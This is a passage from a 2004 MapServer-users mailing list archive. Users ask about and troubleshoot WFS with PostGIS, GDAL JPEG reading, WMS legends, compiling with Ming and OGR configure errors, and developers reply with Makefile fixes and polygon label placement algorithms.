list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From TMitchell at lignum.com Wed Mar 31 09:09:08 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 31 Mar 2004 09:09:08 -0800 Subject: [Mapserver-users] 5 sec. survey: LINUX distribution Message-ID: Since Linux maxed out the last survey at 51% (vs Windows desktop/server combined at 40%), let's look more at what distributions of Linux people are running. Register your anonymous vote at: http://www.misterpoll.com/1375501735.html Tyler From scoota at supanet.com Wed Mar 31 11:08:28 2004 From: scoota at supanet.com (Keith Campbell) Date: Wed, 31 Mar 2004 20:08:28 +0100 Subject: [Mapserver-users] Strange Behaviour - WFS & PostGIS Message-ID: <406B172C.3080402@supanet.com> Hi All, I've got an odd situation with what MapServer is returning when using a PostGIS datasource. I have two layers in a mapfile - both are based on a PostGIS datasource. If I enter the URL of the mapfile in the browser I get an image consisting of the data from the two layers - OK so far. If I tack on a GetFeature request for one of the layers onto the URL , I get the GML for only one feature within the layer. If the GetFeature request is for both layers, I get GML for one feature in one of the layers. I have another mapfile set up that uses the same data for the layers but in shape file format. If I try the same requests, I get the image, the GML for all features in requested layer, and the GML for all features in both layers respectively. So the WFS works properly for the Shape based layers but not the PostGIS, whereas an image is generated correctly in both cases. Any ideas? Regards, Keith From sean at satshot.com Wed Mar 31 11:37:46 2004 From: sean at satshot.com (Sean Kleinjung) Date: 31 Mar 2004 13:37:46 -0600 Subject: [Mapserver-users] GDAL Can't read JPEG files In-Reply-To: <1080708613.3381.866.camel@olympus.satshot.com> References: <1080708613.3381.866.camel@olympus.satshot.com> Message-ID: <1080761866.3382.1815.camel@olympus.satshot.com> Frank Warmerdam and I have discussed this issue off-list. I am posting this here so that other list members with similar problems will know what came of our situation. Frank verified that the image in question worked fine with his copy of GDAL. If we upgrade to GDAL 1.2.0 and still have the problem, he will investigate further. He also proposed the possibility that configuring GDAL with internal vs. external libjpeg would resolve the issue. We have decided to upgrade our GDAL from version 1.1.9 to 1.2.0 and see if that fixes the problem. No further posts on this topic will indicate things are working correctly after the upgrade. Thanks, Sean Kleinjung Web Application Developer Agri ImaGIS Technologies, Inc. http://www.satshot.com From stephen.clark at focus.ca Wed Mar 31 13:06:13 2004 From: stephen.clark at focus.ca (Stephen Clark) Date: Wed, 31 Mar 2004 13:06:13 -0800 Subject: [Mapserver-users] Is it possible to display WMS layers as part of a GIF legend References: Message-ID: <00ac01c41764$0001c160$6c000a0a@sclark> This is a multi-part message in MIME format. ------=_NextPart_000_00A9_01C41720.F18B0A30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit For example I have the following layer an I want to add to a raster (png) legend as per the attached image How can I get the color of the raster WMS layer to display in the legend correctly? thanks Stephen ### WMS BC GOV -- Trim II -- Water lines (1:20K) LAYER NAME wms_water_lines_20k TYPE RASTER STATUS ON CONNECTIONTYPE WMS CONNECTION "http://slkapps2.env.gov.bc.ca:80/servlet/com.esri.wms.Esrimap?WMTVER=1.0.0& ServiceName=wms26910&LAYERS=Water%20-%20Lines%20(1:20K)&FORMAT=PNG&TRANSPARE NT=TRUE" CLASS NAME "Water - Lines (1:20K)" #COLOR 145 0 124 END METADATA WMS_SRS "EPSG:26910" WMS_TITLE "Water - Lines (1:20K)" END END ------=_NextPart_000_00A9_01C41720.F18B0A30 Content-Type: image/png; name="DEMOleg10807644933488.png" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="DEMOleg10807644933488.png" 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 AABJRU5ErkJggg== ------=_NextPart_000_00A9_01C41720.F18B0A30-- From murilo.yoshida at agx.com.br Wed Mar 31 12:12:24 2004 From: murilo.yoshida at agx.com.br (Murilo Lacerda Yoshida) Date: Wed, 31 Mar 2004 17:12:24 -0300 Subject: [Mapserver-users] Shapefile question Message-ID: <000001c4175c$7c0af720$1364a8c0@parapente> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C41743.56BDBF20 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi all, I need to create a map that represents the path that someone walked. For example, a guy started walking at 9:00 am at his house, and stopped walking at 11:00 am at his office. During this time he walked, he was using a gps device that was monitoring the points he passed trough. So I need to create this map. Question is what type of shapefile I need to create to store this data. I guess it should be MS_SHP_ARC, but I'm not sure. Until now I have used only MS_SHP_POLYGON shapes, and it would be nice if I could still use this kind of shape. And if I continue using MS_SHP_POLYGON shapes to draw the path the guy walked, will the map show all the corners, turns and other small elements of the path that are important? I am using PHP/MapScript. Thanks in advance, Murilo ------=_NextPart_000_0001_01C41743.56BDBF20 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

  Hi = all,

  I need to create a map that = represents the path that someone walked. For example, a guy started walking at = 9:00 = am at his house, and stopped walking at = 11:00 = am at his office. During this time he walked, he = was using a gps device that was monitoring the = points he passed trough.

  So I need to create this map. = Question is what type of shapefile I need to create to = store this data. I guess it should be MS_SHP_ARC, but I’m not sure. Until now = I have used only MS_SHP_POLYGON shapes, and it would be nice if I could still = use this kind of shape. And if I continue using MS_SHP_POLYGON shapes to draw the = path the guy walked, will the map show all the corners, turns and other small = elements of the path that are important?

  I am using PHP/MapScript.

  Thanks in = advance,

     = Murilo

------=_NextPart_000_0001_01C41743.56BDBF20-- From gayathri at ou.edu Wed Mar 31 12:29:43 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Wed, 31 Mar 2004 14:29:43 -0600 Subject: [Mapserver-users] Regarding GetLegendGraphic Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0E3474F@XMAIL1.sooner.net.ou.edu> Hi: In the mapserver bugzilla, (http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=262) you have mentioned, that the GetLegendGraphic for WMS service is implemented. Is this implemented in version 4.1? If yes, is CVS the 4.1 version of Mapserver? Thanks for your time on this. Gayathri From bpicinbono at worldonline.fr Wed Mar 31 13:45:16 2004 From: bpicinbono at worldonline.fr (blaise) Date: Wed, 31 Mar 2004 23:45:16 +0200 Subject: [Mapserver-users] problem compiling mapserer with ming In-Reply-To: <20040331180003.23433.31754.Mailman@lists.gis.umn.edu> References: <20040331180003.23433.31754.Mailman@lists.gis.umn.edu> Message-ID: <406B3BEC.7030409@worldonline.fr> Dear list, (PC-Linux / Fedora Core 1 / Apache 2) I have build mapserver-phpmapscript 4.0.1 ok with the following options : ./configure --with-tiff --without-eppl --with-threads --with-proj --with-php=../lib/php-4.3.4 --with-gd=/usr/local --with-freetype=/usr/bin Now, I'd like to add the ming support. I could not build ming without gif support so I download it from the opaque (ming) web site. (by the way, can ming and mapserver-ming run without gif support ?) Now ming seems to be well installed, I've got the ming support in the phpinfo page when I "dl 'php_ming.so'"; and I tried a few php-ming examples that are running fine. Then I tried to build mapserver with ming : ./configure --with-tiff --without-eppl --with-threads --with-proj --with-php=../lib/php-4.3.4 --with-gd=/usr/local --with-freetype=/usr/bin --with-ming and then, make, which gives me this error : "can't find /usr/include/ming.h" or something like that. I managed to get ride of this error by installing ming this way : make make static make install cd php_ext make instead of : make makestatic cd php_ext make This gives me the /usr/include/ming.h file; but then, make clean make distclean ./configure --with..... --with-ming make gives this error : ... ....... gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_MING_FLASH -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_THREAD -I/usr/local/include maptemplate.c -o maptemplate.o Dans le fichier inclus ? partir de map.h:42, ? partir de maptemplate.h:8, ? partir de maptemplate.c:3: /usr/include/ming.h:41:23: ../config.h : Aucun fichier ou r?pertoire de ce type make: *** [maptemplate.o] Erreur 1 [root at localhost mapserver-4.0.1]# So, in the /usr/include/ming.h file, I changed this line : #include "../config.h" into this : #include "/root/tmp/ms_install/lib/ming/config.h" (where I tared the ming.tar.gz) Then : make clean make distclean ./configure --with...... --with-ming make the compilation goes farther but then start screeming : ....... gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_MING_FLASH -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_THREAD -I/usr/local/include mapgdal.c -o mapgdal.o gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_MING_FLASH -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_THREAD -I/usr/local/include mapswf.c -o mapswf.o mapswf.c: Dans la fonction ? BuildButtonFromGD ?: mapswf.c:444: attention : passage de l'argument n?2 de ? SWFButton_addShape ? d'un type pointeur incompatible mapswf.c: Dans la fonction ? BuildEllipseButton ?: mapswf.c:529: attention : passage de l'argument n?2 de ? SWFButton_addShape ? d'un type pointeur incompatible mapswf.c:534: attention : passage de l'argument n?2 de ? SWFButton_addShape ? d'un type pointeur incompatible mapswf.c: Dans la fonction ? BuildButtonPolygon ?: mapswf.c:720: attention : passage de l'argument n?2 de ? SWFButton_addShape ? d'un type pointeur incompatible mapswf.c:727: attention : passage de l'argument n?2 de ? SWFButton_addShape ? d'un type pointeur incompatible mapswf.c:731: attention : passage de l'argument n?2 de ? SWFButton_addShape ? d'un type pointeur incompatible ........ and a lot more .... . .. . . . .... ... . . .and it ends with : mapswf.c:2715: error: too few arguments to function `SWFMovie_save' mapswf.c:2727: attention : passage de l'argument n?2 de ? SWFMovie_add ? d'un type pointeur incompatible mapswf.c:2734: error: too few arguments to function `SWFMovie_save' mapswf.c: Dans la fonction ? msDrawVectorLayerAsRasterSWF ?: mapswf.c:2853: attention : passage de l'argument n?2 de ? SWFMovie_add ? d'un type pointeur incompatible make: *** [mapswf.o] Erreur 1 [root at localhost mapserver-4.0.1]# Do you see where I am wrong at ? Is it the ming install ? The gif support from opaque web site ? The mapserver install ? Do I have to add the --with-gif option for the mapserver ./configure ? Thanks for your help. Blaise From david.mitchell at telogis.com Wed Mar 31 17:28:50 2004 From: david.mitchell at telogis.com (David Mitchell) Date: Thu, 01 Apr 2004 13:28:50 +1200 Subject: [Mapserver-users] placing text along an arbitrary path In-Reply-To: <402B5F6F.8020509@atlas.gis.univie.ac.at> References: <402B5F6F.8020509@atlas.gis.univie.ac.at> Message-ID: <406B7052.8080406@telogis.com> I'd also be interested in this. Could the developers please comment on this idea? Cheers David Alexander Pucher wrote: > I've asked this already about a year ago and I'm wondering, if there is > any effort/news about this subject? > > Is there a way to label lines not only horizontal or by a given angle, > but along a path. In a PostScript book I have, they call this method > "placing text along an arbitrary path". > Consider labeling roads or even rivers that curve a lot. -- David Mitchell Software Engineer Telogis NOTICE: This message (including any attachments) contains CONFIDENTIAL INFORMATION intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. From joelman at joelman.com Wed Mar 31 20:11:07 2004 From: joelman at joelman.com (Joel Gwynn) Date: Wed, 31 Mar 2004 23:11:07 -0500 Subject: [Mapserver-users] OGR not found Message-ID: <406B965B.9050002@joelman.com> I'm going nuts here. I'm trying to configure mapserver like so: ./configure --with-gd=/usr/local --with-proj --with-ogr --with-gdal --with-postgis --with-wfs --with-wms --with-php=/usr/ And things chug along nicely until this point: checking for OGRRegisterAll in -lgdal.1.1... no configure: warning: OGR not found in system libs... use --with-ogr=DIR. and then later ... configure: error: OGC WFS Server support cannot be enabled: missing OGR which is required). I've installed the GDAL package, which seems to include ogr. How do I find out if ogr is installed, and if so, how do I tell the configure script, and if not, how do I install it? Thanks, Joel Gwynn From warmerdam at pobox.com Wed Mar 31 20:50:10 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 31 Mar 2004 23:50:10 -0500 Subject: [Mapserver-users] OGR not found In-Reply-To: <406B965B.9050002@joelman.com> References: <406B965B.9050002@joelman.com> Message-ID: <406B9F82.6010400@pobox.com> Joel Gwynn wrote: > I'm going nuts here. I'm trying to configure mapserver like so: > ./configure --with-gd=/usr/local --with-proj --with-ogr --with-gdal > --with-postgis --with-wfs --with-wms --with-php=/usr/ > > And things chug along nicely until this point: > > checking for OGRRegisterAll in -lgdal.1.1... no > configure: warning: OGR not found in system libs... use > --with-ogr=DIR. > > and then later ... > > configure: error: OGC WFS Server support cannot be enabled: missing OGR > which is required). > > I've installed the GDAL package, which seems to include ogr. How do I > find out if ogr is installed, and if so, how do I tell the configure > script, and if not, how do I install it? Joel, I gather you are working with MapServer 4.0.1? I think it still has the problem of looking explicitly for -lgdal.1.1, I think there will be a MapServer 4.0.2 out at some point with this fix. In the meantime you can either use a "developer" snapshot of MapServer which does not have this problem or following the following steps. The good news is that the configure logic for MapServer doesn't really do anything to magical. For many purposes, you can just opt out of stuff on the configure line and then doctor up the Makefile after the fact. o Configure without --with-ogr. I used the following successfully just now with MapServer 4.0.1. ./configure --with-ogr --with-gd=/usr/local --with-wms --with-proj=/usr/local o Edit Makefile (with vi, or your text editor of choice) o Change the OGR section to look something like this: # Optional OGR Support. OGC Simple Feature inspired interface for vector # formats. See http://gdal.velocet.ca/projects/opengis/ OGR= -DUSE_OGR OGR_LIB= -lgdal OGR_INC= OGR_STATIC= o now save, and build normally. Hopefully all will go well. If there are problems finding the GDAL library, adjust OGR_LIB appropriately. If the GDAL/OGR include files aren't in the default include path change the OGR_INC to look something like: OGR_INC=-I/usr/local/include A similar strategy can be followed for GDAL. That is set the GDAL= line to: GDAL=-DUSE_GDAL and if -lgdal isn't already in OGR_LIB you can put it in GDAL_LIB. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From dmorissette at dmsolutions.ca Wed Mar 31 20:57:59 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 31 Mar 2004 23:57:59 -0500 Subject: [Mapserver-users] OGR not found In-Reply-To: <406B965B.9050002@joelman.com> References: <406B965B.9050002@joelman.com> Message-ID: <406BA157.8090708@dmsolutions.ca> Joel Gwynn wrote: > I'm going nuts here. I'm trying to configure mapserver like so: > ./configure --with-gd=/usr/local --with-proj --with-ogr --with-gdal > --with-postgis --with-wfs --with-wms --with-php=/usr/ > > And things chug along nicely until this point: > > checking for OGRRegisterAll in -lgdal.1.1... no > configure: warning: OGR not found in system libs... use > --with-ogr=DIR. > This is due to a change in GDAL 1.1.9 and more recent. See: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0403/msg00257.html Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Simon.Greener at forestrytas.com.au Wed Mar 31 21:21:10 2004 From: Simon.Greener at forestrytas.com.au (Simon Greener) Date: Thu, 01 Apr 2004 15:21:10 +1000 Subject: [Mapserver-users] Re: polygon label placement Message-ID: Blaise and other MapServer users, We have some code written in Java, PL/SQL and even VBScript (within the Manifold GIS) that implements a centroid algorithm that generates a point that is guaranteed to fall within ANY polygon (even one with multiple parts and multiple holes). If anyone wants it, let me know which of the above languages and I will send it to you. We placed two versions of the algorithm onto Georeference.org, which is the home of the Manifold System Users Group at: http://www.georeference.org/Forums/boxx/download.asp?Cat=6 You do need Manifold to be able to read these versions. We can provide the VBScript as a text file if you want. This algorithm has been downloaded and used by lots of people in its variety of languages and forms, so I don't see any issues in it being used within MapServer, however, while all we (FT) would require is simple acknowledgement of the source of the algorithm as defined in the documentation header. I would need to talk to Geometry Pty Ltd (the originator of the algorithm) about releasing their rights through an appropriate approved OSI license. regards Simon GIS - A Great Profession, and a lifelong Passion! --------------------------------------------------------------------------------- Simon Greener email: simon.greener at forestrytas.com.au GIS Manager Ph: +61 3 6233 8143 Forestry Tasmania Fax: +61 3 6233 8252 79 Melville Street, Hobart, Tasmania, 7000, Australia >>> blaise Wednesday, 31 March, 2004 7:03:39 pm >>> Dean Gadoury wrote : ----- Every now and then I need to label polygons in MapServer and I'm often unsatisfied with the resulting placement. Labeling is fine for points and lines, but when it comes to polygons it can be unpredictable.... If I'm not mistaken the POSITION parameter will only place the label relative to the point at which MapServer decides the label will go. Depending on the label's POSITION its quite possible to have labels that fall completely outside a polygon. Is there a way to force labels to be within a polygon? Is there anything else I'm missing? ----- I have seen some discussions some times ago in the list about having the polygon labels inside the polygons. First try the different label position parameters (vertical : up, center, down; horizontal : left, center, right). (i.e. : CC) If you can do some mapserver scripting, you can put the labels wherever you want (acoording you know where they have to go) : -- have a separate label (or point) layer where you will draw the labels for the polygons, -- for each polygon, compute the X/Y coordinates of each vertex to find the best point place for the label to be, -- insert a label (or a labeled point) at this computed location on your label layer. For the computation, you can use the simple : X = middle of Xmin - Xmax Y = middle of Ymin - Ymax But this won't give you good results if you deal with "inside-curved" polygons. I think you can find a lot of doc for the computation of the "center" of polygons. You can have a look at a demo where you can precisly set the polygon labels with the simple computation above and by the means of two X-offset and Y-offset parameters : http://webmaps.ouvaton.org link: java-tools demo (switch to html with the green java switch left to the scale bar (all editing and updating tools have not yet been developped in java), put the purple polygon layer in update mode and digitize new polygons or update the X/Y-offset of the existing ones, or update the vertex.) 'hope it'll help Blaise _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users This transmission is intended solely for the person or organisation to whom it is addressed. It is confidential and may contain legally privileged information. If you have received this transmission in error, you may not use, copy or distribute it. Please advise us by return e-mail or by phoning 61 3 62338203 and immediately delete the transmission in its entirety. We will meet your reasonable expenses of notifying us. Despite our use of anti-virus software, Forestry Tasmania cannot guarantee that this transmission is virus-free. From joelman at joelman.com Wed Mar 31 21:46:37 2004 From: joelman at joelman.com (Joel Gwynn) Date: Thu, 01 Apr 2004 00:46:37 -0500 Subject: [Mapserver-users] OGR not found In-Reply-To: <406BA157.8090708@dmsolutions.ca> References: <406B965B.9050002@joelman.com> <406BA157.8090708@dmsolutions.ca> Message-ID: <406BACBD.9010302@joelman.com> Daniel Morissette wrote: > Joel Gwynn wrote: > >> I'm going nuts here. I'm trying to configure mapserver like so: >> ./configure --with-gd=/usr/local --with-proj --with-ogr --with-gdal >> --with-postgis --with-wfs --with-wms --with-php=/usr/ >> >> And things chug along nicely until this point: >> >> checking for OGRRegisterAll in -lgdal.1.1... no >> configure: warning: OGR not found in system libs... use >> --with-ogr=DIR. >> > > > This is due to a change in GDAL 1.1.9 and more recent. See: > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0403/msg00257.html > > > Daniel Thanks a lot. The new configure file worked. Can't wait to try it out! From joelman at joelman.com Wed Mar 31 22:06:32 2004 From: joelman at joelman.com (Joel Gwynn) Date: Thu, 01 Apr 2004 01:06:32 -0500 Subject: [Mapserver-users] OGR not found In-Reply-To: <406BA157.8090708@dmsolutions.ca> References: <406B965B.9050002@joelman.com> <406BA157.8090708@dmsolutions.ca> Message-ID: <406BB168.1070002@joelman.com> Daniel Morissette wrote: > Joel Gwynn wrote: > >> I'm going nuts here. I'm trying to configure mapserver like so: >> ./configure --with-gd=/usr/local --with-proj --with-ogr --with-gdal >> --with-postgis --with-wfs --with-wms --with-php=/usr/ >> >> And things chug along nicely until this point: >> >> checking for OGRRegisterAll in -lgdal.1.1... no >> configure: warning: OGR not found in system libs... use >> --with-ogr=DIR. >> > > > This is due to a change in GDAL 1.1.9 and more recent. See: > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0403/msg00257.html > > > Daniel OK. I spoke too soon. When I try to run mapserv, I get the error: ./mapserv: error while loading shared libraries: libgdal.so.1: cannot open share d object file: No such file or directory It appears that I'm using gdal1.2.0b Perhaps I should be able to figure this out, but it's late. g'night.